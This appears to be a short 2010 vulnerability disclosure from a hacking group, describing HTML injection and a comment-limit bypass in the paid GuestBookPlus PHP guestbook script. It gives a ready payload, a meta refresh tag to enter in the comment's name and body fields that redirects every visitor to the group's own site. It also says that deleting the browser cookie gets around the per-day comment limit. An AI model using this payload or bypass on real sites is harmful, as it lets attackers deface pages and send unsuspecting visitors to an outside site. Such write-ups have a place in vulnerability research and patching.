GuestBookPlus suffers from comment restriction bypass and html injection vulnerabilities.
d04398881aabed711212520e586cce8ba19d2ed3c5f5da45745a3f94fb0bebfe
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# In the name of ALLAH ! #
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# GuestBookPlus Script PHP (HTML Injection) Vuln.
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# Name: GuestBookPlus Script PHP (HTML Injection)
# Vendor: http://websitekit.us/GBP_demo.html
# Date: 2010-08-15
# Author: MiND
# Greets: Sa-ViRuS.CoM , RENO , Dr.php , ! BaD BoY ! , Gov.HaCker , Anti-Secure , Dr.$audi all Sa-ViRuS.CoM Members ..
# Contact: f1_1nnym1nd@HoTMaiL.CoM
# Home: WwW.Sa-ViRuS.CoM
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[~]Note : Its not free ,, Its by 28 $
[~]You Can Buy It From : http://websitekit.us/guest_book_plus.html
[~] HTML Injection Vuln . : Add a new comment using sign button
Put on the name & body of your comment any html code like:
<meta http-equiv="refresh" content="0;url=http://sa-virus.com/" /> <==== ( thats redirecting to sa-virus.com )
[~] Another note : You can bypass the limit of comments per day in this guestbook script
By deleting the saved cookie in your computer ;)